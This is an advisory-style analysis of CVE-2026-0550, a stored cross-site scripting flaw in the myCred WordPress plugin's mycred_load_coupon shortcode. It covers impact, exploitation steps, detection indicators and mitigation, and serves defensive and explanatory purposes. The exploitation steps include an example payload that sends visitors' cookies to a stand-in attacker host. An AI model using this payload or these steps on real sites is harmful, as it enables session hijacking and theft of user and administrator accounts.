CVE-2026-0550: 
WordPress vulnerability analysis and mitigation

CVE-2026-0550 is a Stored Cross-Site Scripting (XSS) vulnerability in the myCred plugin for WordPress. It affects all versions up to and including 2.9.7.3, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the mycred_load_coupon shortcode. The vulnerability was published on February 14, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the mycred_load_coupon shortcode does not properly sanitize user-supplied attributes before rendering them in HTML output. An authenticated attacker with at least Contributor-level access can embed malicious JavaScript within a shortcode attribute, which is then stored in the database and executed in the browser of any user who visits the affected page (Red Hat CVE, Infinitsec).

Successful exploitation allows an attacker to inject and persistently store arbitrary JavaScript that executes in the context of other users' browsers, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection to malicious sites. The scope is marked as Changed in the CVSS vector, indicating that the impact extends beyond the vulnerable component to the users' browser environments (Red Hat CVE).

Exploitation requires an authenticated account with at least Contributor-level privileges on the WordPress site, limiting the attack surface compared to unauthenticated vulnerabilities. No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify a WordPress site running the myCred plugin version 2.9.7.3 or earlier. Confirm that contributor-level or higher account registration is available or obtain such credentials.
2. Authenticate: Log in to the WordPress site with a Contributor (or higher) account.
3. Craft malicious shortcode: Create or edit a post/page and insert the mycred_load_coupon shortcode with a malicious attribute, e.g., [mycred_load_coupon attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish content: Submit or publish the post/page containing the injected shortcode. The malicious script is now stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the stored JavaScript executes in their browser, enabling session cookie theft, credential harvesting, or further attacks (Infinitsec, Red Hat CVE).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing mycred_load_coupon shortcode with unusual attribute values including <script>, javascript:, or encoded equivalents.
• Database: Unexpected JavaScript or HTML event handlers stored in wp_posts or wp_postmeta tables within mycred_load_coupon shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the myCred shortcode (indicative of data exfiltration).
• File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified PHP files in the myCred plugin directory that could indicate secondary compromise.

WordPress site administrators should update the myCred plugin to a version beyond 2.9.7.3 that includes a fix for this vulnerability. Until a patched version is available or applied, consider restricting Contributor-level user registration and post publishing capabilities, or disabling the mycred_load_coupon shortcode functionality. Web Application Firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense (Wordfence, Red Hat CVE).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence). Red Hat also published a CVE advisory entry, and INCIBE-CERT issued an early warning alert for Spanish-language audiences (Red Hat CVE). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been observed.